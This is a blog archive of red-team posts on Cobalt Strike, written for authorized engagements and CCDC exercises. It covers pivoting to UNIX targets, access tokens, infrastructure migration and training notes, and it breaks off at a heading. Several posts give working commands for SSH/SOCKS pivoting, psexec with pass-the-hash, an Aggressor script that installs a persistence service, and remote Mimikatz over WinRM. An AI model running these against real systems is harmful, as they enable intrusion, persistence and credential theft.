Archive for the ‘Red Team’ Category

h1

Linux, Left out in the Cold?

March 23, 2016

I’ve had several folks ask about Linux targets with Cobalt Strike 3.0 and later. Beacon is a Windows-only payload. The big question becomes, how do you use Cobalt Strike to operate against Linux, BSD, and other UNIX flavored targets?

Cobalt Strike is not the master unified interface for all hacking tasks. Rather, Cobalt Strike is a toolset to facilitate targeted phishing, covert post-exploitation, and lateral movement in a typical Windows enterprise environment. I didn’t forget about other targets though. Beacon has a built-in port scanner to help find them. I also provide options to use Beacon as a communication layer to bring other tools into the engagement (when it makes sense).

It’s quite easy to use Cobalt Strike as a jumping off platform to reach UNIX server targets. In this blog post, I’ll share a few recipes to do so.

Access Strategies

Cobalt Strike does not have tools to find vulnerabilities in and exploit UNIX targets. If there’s an exploit or attack you want to use, tunnel it through Cobalt Strike’s Beacon.

Optionally, target a system administrator’s Windows workstation and use that access to steal trust material to take a UNIX target. There are a lot of options here.

Cobalt Strike has keystroke logging and screenshot tools designed for long-term operations. The Red Team Field Manual has an interesting recipe to log all keystrokes and output from Putty sessions. You can also look at tools like, PuttyRider, which lets you inject into Putty and do interesting things.

Finally, if you observe a user interacting with a web interface to a device or server, try a browser pivot to interact with that site, as them. Browser Pivoting is Cobalt Strike’s man-in-the-browser session hijacking capability.

Tunnel SSH over Beacon

Cobalt Strike’s Beacon exposes a SOCKS interface for pivoting. SOCKS is a standard for proxy servers and proxy-aware clients. To create a SOCKS interface tied to a Beacon:

1. Interact with a Beacon

2. Type sleep 0 to ask to the Beacon to check-in multiple times each second. A high check-in time will introduce latency into your tunneled traffic.

3. Type socks 1234 to create a SOCKS proxy server on port 1234 of your team server.

At this point, you have a listening socket, on your team server, ready to receive connections from proxy-aware clients. The Beacon associated with this SOCKS server will initiate any connections requested by a SOCKS client. Once a connection is made, Cobalt Strike relays all traffic between the SOCKS client and the new connection via Beacon’s communication path (whatever it is).

proxychains

Some applications have built-in support for SOCKS. Other applications do not. If you want to use an application that is not SOCKS aware, try out proxychains.

The proxychains program accepts a program name and program arguments as its arguments. Any outbound TCP connection made the specified program is forced through a proxy server. This proxy configuration is specified in a global configuration file (/etc/proxychains.conf).

To tunnel SSH through a SOCKS proxy server with proxychains:

4. Open /etc/proxychains.conf with your favorite text editor.

5. Scroll to the bottom of the file.

6. Change the lines under [ProxyList] to:

socks4 127.0.0.1 1234

7. Save the file.

8. In a new terminal, type: proxychains ssh user@target

Your SSH session will now tunnel through Cobalt Strike’s Beacon payload.

Tunnel Beacon over SSH

You may run into a situation where you need to tunnel Cobalt Strike’s Beacon through a compromised Linux target to attack a Windows network. I’ve had this happen and I’ve heard stories from others with a similar situation. I can’t say this is something you’ll see often, but it’s a good exercise in tunneling flexibility.

Here’s the scenario:

I can reach a Linux target over SSH. This Linux target can talk to a Windows network I want to attack. I have credential material for the Linux target. I also have credential material for a Windows target. I want to attack the Windows target with Cobalt Strike.

Here are the steps:

1. From a red Linux asset, run: ssh –D 1080 user@linux_target. This command will create an SSH session and a SOCKS proxy server, bound to port 1080 on the red Linux asset, that forwards all connections through the SSH tunnel. In effect, this proxy allows us to make connections from the compromised Linux target.

2. On the red Linux asset, forward port 445 to reach a Windows target through the SSH SOCKS Proxy server. Here’s the socat recipe for this: socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:TARGET:445. Anything that touches this red Linux asset on port 445, will now reach the Windows target on port 445.

3. Run a Beacon on a red Windows asset. Cobalt Strike’s attacks are deployed to and run by Beacon directly. This plays well with Cobalt Strike’s model of offense.

4. Create a named pipe listener in Cobalt Strike. Go to Cobalt Strike -> Listeners. Press Add. Choose the windows/beacon_smb/bind_pipe payload.

5. Through the red asset Beacon, create an access token from credential material for an Administrator user on the target Windows system. Use make_token [DOMAIN\user] [password] if you have credentials. Use pth [DOMAIN\user] [hash] if you have an NTLM hash.

6. Attack the Windows target (via the Linux port forward) with psexec or psexec_psh .

beaconoverssh

Cobalt Strike will run Beacon, stage it, and assume control of the host over port 445. Since we’re targeting a port forward on a pivot system, this process will ride over our SSH tunnel. You now have a Beacon foothold, in another network, tunneled through a Linux target.

Control UNIX Targets with PowerShell

rvrsh3ll published an Invoke-SSHCommand PowerShell cmdlet. This script runs a command over SSH and returns its output to you. Here’s how to use this script with Beacon:

1. Download the Misc-PowerShell Scripts repository from Github

git clone https://github.com/rvrsh3ll/Misc-Powershell-Scripts.git

2. Interact with a Beacon

3. Use powershell-import /path/to/Invoke-SSHCommand.ps1 to import rvrsh3ll’s script into Beacon.

4. Run powershell Invoke-SSHCommand –ip [target] –username [user] –password [password] –command “uname –a”

These steps will run the uname –a command on a target of your choosing. Be aware that this script does require .NET 3.5 on the target or it won’t work.

If you find it cumbersome to type these commands again and again, you can use Aggressor Script to define an ssh alias in Beacon:

# beacon> ssh [target] [user] [pass] "[command + args]"
alias ssh {
	($bid, $target, $user, $pass, $what) = @_;
	bpowershell_import($bid, script_resource("Invoke-SSHCommand.ps1"));
	bpowershell($bid, "Invoke-SSHCommand -IP $target -Username $user -Password $pass -Command \" $+ $what $+ \"");
}

The Post Exploitation and Pivoting lectures of Advanced Threat Tactics covers many of the concepts in this blog post.

h1

Cobalt Strike Tips for 2016 CCDC Red Teams

February 23, 2016

It’s CCDC season again. CCDC is the National Collegiate Cyber Defense Competition. Teams of students in 10 regions run simulated business networks and defend against red team attacks. The winners of these regional events square off at the National CCDC in San Antonio, TX.

Strategic Cyber LLC is making Cobalt Strike available to the red teams at the regional and National CCDC events. License information should come from your red team lead. If you’re a lead and you don’t have this information, shoot me an email.

Here are a few notes on how to benefit from Cobalt Strike during your CCDC event:

Reconnaissance

Many organizers will allow a red team member to scan blue networks before the event starts. I recommend that you use NMap and use the –oX flag to generate an XML file. Go to View -> Targets and press Import to bring this information into Cobalt Strike.

Initial Access

Some CCDC events operate under the mantra of assume breach. In these events, the red team pre-seeds their backdoors and misconfigurations on blue team systems. For these events, I would export a stageless HTTP or DNS Beacon (Attacks -> Packages -> Windows Executable (S)) and run it on each starter system.

Other events promise students “clean systems”. These events start with a frantic race. Students rush to change passwords and isolate their networks in a way the rules allow. The red team launches carefully prepared scripts to exploit vulnerable services or default passwords to get footholds in the unsecured blue networks.

Cobalt Strike 3.0 and later no longer integrate the Metasploit Framework. I would not use Cobalt Strike 3.x for these scripted opening salvos. If you want to efficiently launch exploits at a lot of targets, use Armitage or create a Metasploit resource script.

If you still want to use Cobalt Strike to launch attacks without a foothold, read How do I psexec without an initial Beacon?

Persistence

Cobalt Strike’s Beacon payload does not include built-in persistence. This is by design. If I include a turn-key persistence option, everyone will know to look for it. Instead, I expect you to script something.

Here’s a script that automatically persists on a system when a new Beacon comes in:

# 1. Go to Attacks -> Packages -> Windows Executable (S)
# 2. Export a Windows Service EXE file
# 3. Save as evil.exe in the same folder as this script

on beacon_initial {
	bcd($1, "c:\\windows\\");
	bupload($1, script_resource("evil.exe"));
	bshell($1, "sc create evil binpath= \"c:\\windows\\evil.exe\"");
	bshell($1, "sc start evil");
}

Consult the Aggressor Script documentation for more information on scripting Cobalt Strike 3.x.

User Exploitation

Cobalt Strike does not bake its screenshot and keystroke features into the Beacon agent. Instead, these features are Reflective DLLs that inject into a process of your choosing. These DLLs then report information back to Cobalt Strike’s Beacon. This allows you to sit in a SYSTEM-level process and watch the user’s keystrokes and take screenshots without migrating processes. Cobalt Strike also has a neat workflow to mass deploy these features. I recommend that you watch this video and become familiar with these features. It’ll make your event a lot more fun. 🙂

Tool Interoperability and Session Passing

Multiple toolsets are in play during the CCDC events. I would expect to see BeaconPowerShell Empire, Meterpreter, and Throwback. You’ll want to know how to use these tools together.

Justin Warner’s Empire & Tool Diversity: Integration is Key blog post shows how to use PowerShell Empire to interoperate with Cobalt Strike and the Metasploit Framework.

Cobalt Strike has thought out workflows to tunnel the Metasploit Framework through Beacon, spawn Meterpreter sessions, and deliver Beacon with Metasploit Framework exploits. Read Interoperability with the Metasploit Framework to understand these best practices to use Cobalt Strike and the Metasploit Framework together.

Finally, you can use Silent Break Security’s Throwback to pass sessions to Cobalt Strike. Ask Throwback to spawn a Meterpreter Reverse HTTPS or Meterpreter Reverse HTTP payload and point the IP address/port at your Beacon listener. Brady Bloxham’s Throwback Thursday – A Guide to Configuring Throwback blog post will take you through Throwback setup and use, step-by-step.

Screenshots, Logs, and Reports

Cobalt Strike now logs all red team activity on its team server. These logs are stored in the logs/ folder co-located with your Cobalt Strike distribution. All commands, output, and screenshots are available with timestamps for each activity. If you need ground truth on whether or not something happened, these logs are the place to go.

Red Team Leads are always asking for good screenshots. Use Ctrl+T to take a screenshot of the current tab in Cobalt Strike. This feature pushes screenshots to the team server and stores them in the logs/[date]/screenshots folder. You no longer have to worry about the interesting screenshots living on random volunteer laptops.

Cobalt Strike’s Reports are helpful aids for debriefing with your student blue teams. Reporting -> Activity Report is an action-by-action timeline of all red team activity. Reporting -> Sessions Report documents red team infrastructure, indicators, and activity on a session-by-session basis. Finally, Reporting -> Indicators of Compromise lists MD5 hashes of files put on disk and all of your callback domains and IP addresses. If you use multiple team servers, don’t fret! Cobalt Strike’s Reporting Tool merges information from all servers you’re connected to when it makes its reports.

How to Prepare

If you’re new to red teaming at CCDC or Cobalt Strike, there are several resources to help you prepare for your event:

Watch Advanced Threat Tactics to learn about Cobalt Strike and its workflows. This nine-part course is a time investment, but it’ll provide the background necessary to understand use Cobalt Strike.

I have several write-ups on previous CCDC events: Start with So, you won a regional and you’re headed to National CCDC. This blog post is a generic description of how the National CCDC team works and the defenses we commonly see. National CCDC Red Team – Fair and Balanced documents my experience on the 2013 National CCDC Red Team. WRCCDC – A Red Team Member’s Perspective covers my experience at the 2013 WRCCDC. Last, check out CCDC Red Teams: Ten Tips to Maximize Success. While these posts are older, their content is relevant going into this CCDC season.

Finally, watch Dirty Red Team Tricks I and Dirty Red Team Tricks II. These talks discuss my early days of CCDC Red Teaming and provide a first-hand account of a CCDC red team’s evolution from catch-and-release exploitation of vulnerable systems to providing a persistent actor for students to detect and respond to.

h1

Windows Access Tokens and Alternate Credentials

December 16, 2015

I’d like to call your attention to the humble runas.exe program on Windows. This program allows a Windows user to spawn another program with another user’s credentials.

runas1

It’s a little painful to use runas.exe from a remote access tool. This program doesn’t accept a password as an argument. Cobalt Strike’s Beacon has a built-in runas command to give you similar functionality.

The process that runas starts has an access token populated with the same single sign-on information you would expect from access tokens made by a normal login. You can steal a token from a program started by runas and use that token to interact with local and remote resources.

The runas capability is great for situations where you want to create a process as a local user on the current system or as a domain user from a trusted domain. This covers a lot of situations, but not all.

What happens if you need to interact with a remote resource as a local user on another system? How do you interact with a remote resource as a domain user when there’s no trust relationship with that domain? These problems have a solution.

The Curious /NETONLY Flag

The runas program has a /NETONLY flag. This flag tells runas that the specified credentials are for remote access only. Windows will not try to validate these credentials. Instead, Windows will create a copy of your current access token and update it to use the new credentials when Windows interacts with a remote resource. Windows will then create the new process with this doctored token.

This has a curious effect. The new program is run as the current user. On the current system, there is no change in your rights, permissions, or identity. But, when you interact with a remote resource, you are the specified user.

runas2

Logon Sessions and other Access Token Trivia

I hope I’ve raised some questions so far. Questions like, how does runas.exe /NETONLY work?

Windows manages identity and security information in a structure known as an Access Token. These data structures contain things like: your username, groups, privileges, and other information. An Access Token may also contain information to restrict your rights. When working with Windows, it’s important to understand that an access token isn’t a single thing that represents a user’s identity. An access token is an instantiation of an identity with a lot of variables thrown in.

An easy example of this is User Account Control. A local administrator user may run most processes in a medium integrity context. The tokens associated with their processes have an Integrity level field set to 0x2000 which is SECURITY_MANDATORY_MEDIUM_RID. Processes run by the same local administrator in a high integrity context have access tokens with their Integrity level set to 0x3000. These tokens represent the same user, but different rights. The point here is that Windows may have multiple access tokens, with different configurations, for a user and that’s normal.

This blog post isn’t a deep dive into access tokens though. It’s a walk down the garden path about single sign-on information. Let’s jump into that.

An Access Token contains your identity on the current system and it states what you can and can’t do on the current system. An Access Token also references the information Windows uses to automatically authenticate to remote systems.

Now I hope you’re asking: what part of an Access Token determines who you are on a remote system? This question is the whole point of this blog post.

Each Access Token references a Logon Session. The Logon Session references credential material for single sign-on purposes. When Windows authenticates to a remote system, it uses the Logon Session’s credential material to authenticate. A Logon Session is made after authentication is successful. Logon Sessions go away when there are no more tokens that reference them.

When you use the /NETONLY flag with runas.exe, Windows will create a new Logon Session with the credential material you provide. It will then copy your current token and substitute the default logon session for the new one. The specified program is then run with this new token.

The program run by runas looks like it’s running as your current user. That’s because it is. The new program was run with a copy of your user’s access token! When you interact with a network resource, Windows does not authenticate as your Access Token’s user. Windows uses the credential information referred to by the new Logon Session. In this case, the credential material in this new Logon Session does not necessarily match the identity in your current Access Token.

If you’d like to see a list of Logon Sessions on your current system, take a look at the logonsessions utility by Mark Russinovich.

logonsessions

Implications for Beacon Users

Beacon’s runas command is similar to the default behavior of the runas program built into Windows. What about the /NETONLY flag? Beacon has something like this too. It’s the make_token command.

The make_token command uses the LogonUser function in Windows with the LOGON32_LOGON_NEW_CREDENTIALS flag. This API creates a Logon Session from the specified credentials, copies your Access Token, associates the new Logon Session with the new Access Token, and makes this new Access Token available. Beacon then impersonates this new token.

What’s the effect of this? You have a new token that is locally indistinguishable from your previous token. When you use Beacon’s getuid command to query your token’s identity, you get back the current user. When you type shell whoami, you get back the current user.

What happens when you interact with a network resource? Windows authenticates with the credentials you specified to make_token. Why? Because the Logon Session in the current Access Token references the credentials you provided to make_token. In this case, the Logon Session information does not match the local identity of your current token.

The make_token command in Beacon works this way to allow you to use a local account from another system to interact with it. This mechanism also allows you to authenticate to a system as a domain user when there’s no trust relationship with that domain.

The pth command in Beacon is a similar story. The pth command asks mimikatz to: (1) create a new Logon Session, (2) update the credential material in that Logon Session with the domain, username, and password hash you provided, and (3) copy your Access Token and make the copy refer to the new Logon Session. Beacon then impersonates the token made by these steps and you’re ready to pass-the-hash.

Again, with pass-the-hash, the side effects are similar. The new token is locally indistinguishable from your current user. That’s because you are your current user! When you interact with a network resource, Windows uses the material from the Logon Session to authenticate. In this case, it’s the information you provided to the pth command.

Frequently Asked Questions

This blog post is the result of many questions I’ve had about the make_token and pth commands in Beacon. Common questions include: Do pth and make_token work with local accounts? Yes. Do pth and make_token work with domain user credentials when there’s no trust relationship with the specified domain? Yes. Why do the make_token and pth tokens report themselves as the current user? That’s just the way it is.

Windows is a complicated animal. I appreciate that its design sometimes results in non-obvious or confusing behavior. I hope this blog post clears up some of the confusion about the make_token and pth commands for you.

If you’d like to learn more about this topic, to include how to use make_token and pth in an operation, consult the Lateral Movement lecture from the Advanced Threat Tactics course.

h1

Flying a Cylon Raider

November 18, 2015

In Season 1, Episode 5 of Battlestar Galactica, Lieutenant Kara Thrace finds herself marooned on a barren planet with a crashed Cylon Raider. To get home, Lieutenant Thrace has to apply her knowledge of flight fundamentals to control the strange platform and pilot it back to safety.

And, so it goes with hacking. You don’t always get to choose your tools. In mature environments, the combination of defenses and analysts you’re working against will dictate which tools you can use.

When your favorite toolset is taken away from you, how do you operate?

Recently, I had a chance to discuss this question with the audience at the SANS Hackfest in Washington, DC. That talk, Flying a Cylon Raider, is a guide on how to take your knowledge of Meterpreter and apply it to other toolsets.

I’ve re-recorded the presentation. Here it is:

h1

Migrating Your Infrastructure

October 21, 2015

I’ve written about infrastructure for red team operations before. Infrastructure are the servers, domains, and other assets that support your ongoing operation against a target network.

Sometimes, your infrastructure will become known and understood by the blue audience you’re working to train. At these times, it’s usually prudent to take steps to extend or change your infrastructure to stay one step ahead. That’s the subject of this blog post.

Rolling Redirectors

I highly recommend that you always use redirectors when you setup your initial infrastructure. A redirector is a server that forwards traffic to your Cobalt Strike team server. Ideally, your target network should never touch your team server infrastructure directly. It should always interact with you through a redirector.

If this is how your infrastructure is setup, then keeping ahead of your training audience is pretty easy. Simply stand up new redirectors, assign domains to these redirectors, and update your listener configuration to reference these new redirectors. Previously deployed Beacons will call home to the old configuration information but any new Beacons you spawn will call home to the new hosts.

Rolling Team Servers

Let’s say you want to re-roll an active team server to another server. Your plan is to copy Cobalt Strike to the new system, start it, configure it, and point your redirectors and domains to this new team server. This team server has Beacons calling back and you don’t want to lose them in this move. This is doable.

Early into Cobalt Strike’s life, I made the decision to design Beacon’s communication scheme to not depend on state in the team server. I did this to make sure Beacon sessions could recover in the event of a team server restart.

Beacon communication is dependent on one piece of state though: the key material for the team server. When you first create a Beacon listener, Cobalt Strike generates an asymmetric key pair for your team server. This file is .cobaltstrike.beacon_keys in the directory you ran the team server from. Copy this file to the folder you will run the Cobalt Strike team server from on the new system. If you don’t, you will not have control of any previously deployed Beacons calling home to the new team server.

When you roll team server infrastructure, it’s also imperative that you use the Malleable C2 profile. The Malleable C2 language compiles into a form that, quite literally, rewrites how Beacon and Cobalt Strike communicate with each other. If you do not bring your profile over to the new server, the team server will not know how to interpret callbacks and other messages from previously deployed Beacons.

If you move the key material over, keep the same Malleable C2 profile, and take care to point your old redirectors [or domains] at the new server–you will recover existing callbacks without trouble.

Migrating to New Team Servers

Rolling redirectors is a common task. Sometimes, I have to roll team servers, but this is more rare. I don’t like to take functional infrastructure down if I have to. My preference is to stand up new infrastructure and migrate existing accesses to it.

To migrate accesses from one team server to another:

Stand up new infrastructure. Take care to create your redirectors and assign domain names to your redirectors [or the team server itself].

Connect to the old infrastructure with your Cobalt Strike client.

If the accesses calling back to this old infrastructure are persistent, you have your work cut out for you. You will want to redeploy your persistence with new artifacts that point to the new infrastructure. A script to deploy persistence can help a great deal here.

If you just want to migrate existing callbacks, this is easy enough. Create a foreign listener on the old team server that points to your new one. Then highlight all of your Beacons, right-click, and select Spawn. This dialog will let you choose a listener to spawn on all of these sessions. Choose your foreign listener. As accesses check in on the old team server, you will see accesses show up on the new one.

The Spawn workflow is easy, but it’s not the best for OPSEC. It spawns a new process and injects your stager into it. You have the option to inject a Cobalt Strike listener into an existing process instead.

Here’s how to do that:

Highlight all of your Beacons and go to Explore -> Show Processes. This action will task all of the Beacons to send back a process list and these lists, for each of your sessions, will show up in one window. Here, you have the opportunity to sort your processes by name and mass inject your foreign listener into the same process on all of these sessions.

Parts 1 and 2 of Advanced Threat Tactics discuss infrastructure and operations. Part 4 of Advanced Threat Tactics discusses Session Passing.

h1

Advanced Threat Tactics – Course and Notes

September 30, 2015

The release of Cobalt Strike 3.0 also saw the release of Advanced Threat Tactics, a nine-part course on red team operations and adversary simulations. This course is nearly six hours of material with an emphasis on process, concepts, and tradecraft.

If you’d like to jump into the course, it’s on YouTube:

Here are a few notes to explore each topic in the course with more depth.

0. Introduction

This is a course on red team operations and adversary simulations.

To learn more about Adversary Simulations and Red Team Operations:

Advanced Threat Actors:

Tools used in this course:

1. Operations

Advanced Threat Tactics starts with a high-level overview of Cobalt Strike’s model for distributed operations and red team collaboration.

To learn more about Cobalt Strike’s model for collaboration and operations:

  • Watch Force Multipliers for Red Team Operations. This is my favorite talk I’ve given. Here, I summarize my work and insights on the red team collaboration problem. Today, I consider this a completed research project with the following blog posts capturing lessons learned on how to build infrastructure and organize a large red team to support operations (primarily in an exercise context).
  • Read A Vision for Distributed Red Team Operations to learn more about Cobalt Strike’s model for distributed operations with multiple team servers.
  • Read The Access Management Team [Shell Sherpas]. This blog post discusses the Access Manager role in depth.
  • Read about The Post Exploitation Team. These are my notes on the folks who interact with targets to complete objectives and find interesting information.
  • Read Infrastructure for Red Team Operations. Infrastructure is the foundation of any engagement. This post is my best practices for organizing infrastructure to support a long-term op with multiple targets.
  • Consult The Red Team Infrastructure Wiki. This page is a collection of best practices for setting up, organizing, and securing red team infrastructure.

2. Infrastructure

Infrastructure is the collection of domains, servers, and software that support your operation. One of Cobalt Strike’s strengths is its variety of communication channels and the flexibility you have to configure them. This lecture goes through the HTTP/HTTPS, DNS, and named pipe channels and shows you how to use special features with each. I also take you through how to stand up redirectors and test your infrastructure before an engagement.

To learn more about payload staging:

Beacon Communication:

3. Targeted Attacks

This lecture goes through a process to execute a targeted spear phishing attack to get a foothold in a modern enterprise.

To learn more about this material:

User-Driven Attacks:

4. Post Exploitation

This lecture shows how to use Beacon for post-exploitation. If you have to operate with Beacon, this is good core material to know.

To learn more about this material:

Post-Exploitation:

  • Buy the Red Team Field Manual. This is a must-own for anyone working in this space. The tips and tricks here are quite applicable for all Beacon operators.
  • Watch Flying a Cylon Raider. This talk is a platform agnostic look at how to conduct post-exploitation and lateral movement without the Metasploit Framework. Understanding the concepts in this talk will help you get the most from the material in this course.
  • Interoperability with different offensive platforms is important. Read Session Passing from Cobalt Strike to learn how to pass sessions to the Metasploit Framework, PowerShell Empire, and other tools from Cobalt Strike.

5. Privilege Escalation

Think of this lecture as post exploitation, part 2. We dive into how to elevate privileges and use these privileges to harvest credentials and password hashes.

To learn more about User Account Control and the Bypass UAC attack:

Privilege Escalation:

  • Read Windows Privilege Escalation Fundamentals. This tutorial has a number of command-line recipes to find files with credentials and other things you should look for when trying to elevate your rights.
  • Read What you know about ’bout GPP? This blog post offers a look at the Group Policy Preferences privilege escalation vector. This is one of those issues that, while patched, remains an issue because the patch does not cleanup the problems created by this feature when it was last used. I didn’t have time to cover this problem in the course [six hours is enough!]; but this is a staple thing you should always check for.
  • Download the Elevate Kit to add new exploits to Beacon’s elevate command. The Elevate Kit is a good example of how to bring exploits from PowerShell Empire, the Metasploit Framework, and other sources into Cobalt Strike.

PowerUp:

Mimikatz:

6. Lateral Movement

This lecture is the use and abuse of native Windows capability and behavior to trade-up privileges and move around a network.

To learn more about enumeration and reconnaissance in a Windows Active Directory network:

Analysis of Trust Relationships

  • Read A Guide to Attacking Domain Trusts by Will Schroeder. This is the ultimate red teamer’s reference to this topic. You’ll really want to go through all of Will’s blog to understand this topic fully. He posts a lot about domain trusts and user hunting. Too much for me to keep up with here.
  • Read Derivative Local Admin by Justin Warner. This post discusses how you may understand and chain trust relationships (e.g., Bob is an admin on X, Joe is logged onto X, Joe is a domain admin) to elevate privileges in a network or attack a desired target.
  • Spend time with BloodHound, a JavaScript application that ingests data from a PowerShell script and identifies Active Directory trust-paths to reach a target of interest. This application automates a lot of the analysis that is necessary to identify lateral movement opportunities. My First Go with BloodHound shows how to setup and use this tool at a basic level.

Remote Management without Malware:

Pass-the-Hash:

Kerberos:

Remote Code Execution:

7. Pivoting

SOCKS, SOCKS, SOCKS! This lecture is about how to pivot with Beacon. You could also think about it as using and abusing SOCKS forwards, backwards, and any other way you want it.

More on this topic:

  • Read the SOCKS protocol specification.  SOCKS is a simple (1 page) protocol that allows a SOCKS-aware application to connect to a SOCKS server and ask that server to initiate a connection on the client’s behalf.
  • Read Pivoting through SSH. This blog post describes the Proxies option in the Metasploit Framework.
  • Read Hacking through a Straw: Pivoting over DNS. This post talks about the SOCKS pivoting capability in Beacon.
  • Take a look at Cobalt Strike’s VPN Pivoting feature. I don’t talk about it much, because I don’t use it often. If you’d like to learn about layer-2 pivoting, I wrote a blog post on how this technology works with source code. It’s simpler than you might think.
  • Cobalt Strike 3.5 added SSH sessions. If you want to control UNIX targets, it’s worth your time to read up on these. You can pivot through SSH sessions the same way you pivot through Beacon sessions.

8. Malleable C2

Malleable C2 is Cobalt Strike’s domain specific language to change indicators in the Beacon payload. This ability to make Beacon look like other malware is arguably what makes it a threat emulation tool.

More on this topic:

9. Evasion

The Advanced Threat Tactics course concludes with a deep dive into evasion. This video is my to-the-minute notes on this topic.

To learn more about phishing and e-mail delivery:

Anti-virus evasion:

Application Whitelisting:

Egress Restrictions:

  • Read An Unnecessary Addiction to DNS Communication. I often hear from folks who insist that DNS is the only way out of their network and the only way to reach servers that are otherwise isolated from the network. This post goes into depth on the evasion options with Cobalt Strike’s DNS communication scheme and it digs into the capability available in Cobalt Strike’s other Beacon variants.
  • Read HTTP Proxy Authentication for Malware to understand how Beacon’s HTTP/S stagers react to proxy authentication failures.
  • Read about Domain Fronting, a collection of techniques to use high-reputation domains as callbacks for your HTTPS (and sometimes, HTTP) Beacons. This is an interesting tactic to obfuscate your controller, defeat site categorization, and blend in with legitimate traffic.

Active Defenders:

  • Watch Operating in the Shadows given by Carlos Perez at DerbyCon 2015. In this talk, Carlos goes over the different advancements in blue’s ability to instrument Windows and the impact it will have on red teams and penetration testers who need to challenge them. This is a sign of things to come.
  • Take a look at Microsoft’s Advanced Threat Analytics technology. This defense tracks which systems/users pull which active directory objects, when, and how often. It’s designed to catch that awesome stuff discussed in part 6 of this course.
  • Also, check out UpRoot, an agentless host-based IDS written in PowerShell that leverages WMI subscriptions. UpRoot reports process creates, new network connections, and other host activity. Tools like UpRoot show the scrutiny red operators will need to learn to cope with when working with a mature hunt team.
  • Watch Infocyte‘s video on Enterprise Hunt Operations. While this is a product advertisement, listen closely for the information it collects. As a red operator, you need to understand what your actions look like to analysts who use these hunt platforms. Your job is to figure out how to craft your activity to grow and challenge these analysts.

PowerShell and Anti-virus:

In-memory Evasion:

  • Become familiar with the Malleable PE options introduced in Cobalt Strike 3.7. These options let you influence how Beacon lives in memory and change some indicators.
  • Go through In-memory Evasion, a four-part (+ bonus addendum) course on the cat and mouse game related to memory detections. This course introduces common heuristics to detect memory-injected DLLs, where and why these heuristics work, and options to defeat these heuristics.

Modern Defenses:

  • Cobalt Strike is a flexible platform. This flexibility is a boon for working in mature and well-defended environments. Read Kits, Profiles, and Scripts… Oh my! to understand your options to customize Cobalt Strike and its indicators to your needs.
  • Read Modern Defenses and YOU! for hints on how to adapt your use of Cobalt Strike to keep pace with the modern defender’s arsenal of capability.
  • Watch Fighting the Toolset to understand the risk vs. reward trade-off of different offense techniques in Cobalt Strike. More importantly, this lecture discusses how to work-around Cobalt Strike’s default workflows to defeat defenses that target “advanced evasions”.
  • Go through Choose Your Own Red Team Adventure. This collection of blog posts allows you to make different choices and experience the different outcomes working with a mature network defense organization.
h1

WinRM is my Remote Access Tool

July 22, 2015

One of my favorite blog posts last year was Adversary Tricks and Treats from CrowdStrike. In this post, CrowdStrike details the tradecraft of an actor they dub Deep Panda. In an attempt to skirt advanced malware hunting capability, Deep Panda leverages native tools to control target systems and spread laterally in a network. With the exception of their foothold, they don’t use malware to complete their objectives.

This is an important idea. One of my favorite red team tasks is to provide a credible adversary to exercise new ideas for network defense. There’s a positive shift away from the passive blinky boxes to the inquisitive analyst who has tools to ask questions at scale. As red operators, we have a neat opportunity to nurture and grow these analysts into formidable defenders.

All that future talk aside, it’s important to think about how to do this. One way I do it is by looking at different ways to operate. I think it’s important to have multiple concepts of offense and ways to simulate an on-going offensive operation. One of my favorite ways now is to play like Deep Panda and limit my use of malware as much as possible.

I’m keenly aware that skilled network defenders watch some assets more than they watch others. A domain controller is no-man’s land. A skilled team armed with techniques that don’t scale will watch their domain controller’s like hawks when they know a red team is exercising them. Workstations are… less important.

I like to live on the workstations with my malware and use native tools to interrogate and control servers as much as possible.

There are a lot of ways to abuse a trust relationship to run commands on a remote system. at, schtasks, sc, and wmic are among my favorites. I’m a WinRM fan too.

WinRM is the Windows Remote Management service. It listens on port 5985. It’s off by default, but some system administrators turn it on to enable easy remote management of their servers [hence the name, right?]

When WinRM is on, you can use PowerShell to remotely interrogate a server and control it. Or, if you’re feeling lucky, you can turn WinRM on yourself. Here’s how to enable WinRM via Beacon:

powershell Enable-PSRemoting -Force

The output will look like this:

winrm

WinRM does require a trust relationship with the target system. You’ll need a token for a domain user that is a local administrator to the target. You can steal one of these, make one with runas, or use Mimikatz to create a token to pass a password hash.

To control a target via WinRM from Beacon, here’s the syntax:

powershell InvokeCommand -ComputerName TARGET -ScriptBlock { dir c:\ }

PowerShell will run, via WinRM, whatever you specify inside of the script block. After this command completes, PowerShell will return the output to you.

The ability to run commands on a remote target AND get output back is nice. In most cases, this is enough capability to operate and achieve an objective. One of my favorite things though is the ability to run Mimikatz this way. PowerSploit’s Invoke-Mimikatz cmdlet allows you to specify a -ComputerName argument. Fun fact: this argument can be array of systems to run Mimikatz on. With this option specified, PowerSploit will run mimikatz via WinRM, in memory on the remote target, and report the output back to you.

Here’s the syntax to do it:

powershell-import /local/path/to/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName TARGET

Here’s a video of these concepts in action:

Between Mimikatz and the ability to run arbitrary commands remotely, I have a lot of operating capability right there. If you want to emulate a long-term embedded actor who does things a little differently, this is certainly a good TTP to try out.

h1

Models for Red Team Operations

July 9, 2015

Recently, I had an email from someone asking for a call to discuss different models of red team operations. This gentlemen sees his team as a service provider to his parent organization. He wants to make sure his organization sees his team as more than just dangerous folks with the latest tools doing stuff no one understands. This is a fair question.

In this post, I’ll do my best to share different models I see for red team operations. By operations, I mean emulating the activities of a long-term embedded adversary in a network, one that works from a remote location. This ability to gain, maintain, and take action on access over a (potentially) long period of time is a different task from analyzing an application to find flaws or quickly enumerating a large network to identify misconfigurations and unpatched software.

You may ask, what’s the point of emulating a (remote) long-term embedded adversary? Two words: Security Operations. I’m seeing a shift where organizations are leveraging their red assets to validate and improve their ability to detect and respond to intrusions.

With all of that said, let’s go through a few of the different models:

Full Scope Penetration Tests

A full scope penetration test is one where a hired or internal team attempts to gain a foothold into their customers environment, elevate their rights, and steal data or achieve some desired effect. These engagements mimic the targeted attack process an external actor executes to break into an organization. When a lot of my peers think about red team operations these assessments are immediately what comes to mind.

Full scope penetration tests provide a data point about the state of a security program, when all aspects are exercised in concert against an outside attacker. Unfortunately, full scope assessments are as much a test of the assessor as they are of the organization that commissioned these tests. They are also expensive and assessors have to cope with restrictions that are not placed onto a real adversary [less time, fewer resources, compliance with the law].

Given time, resources, and competent execution, a full scope engagement can offer valuable insight about how an external actor sees an organization’s posture. These insights can help identify defensive blind spots and other opportunities for improvement. These engagements are also useful to re-educate executives who bought into the hype that their organization is un-hackable. Making this point seems to be a common driver for these assessments.

Long-term Operations

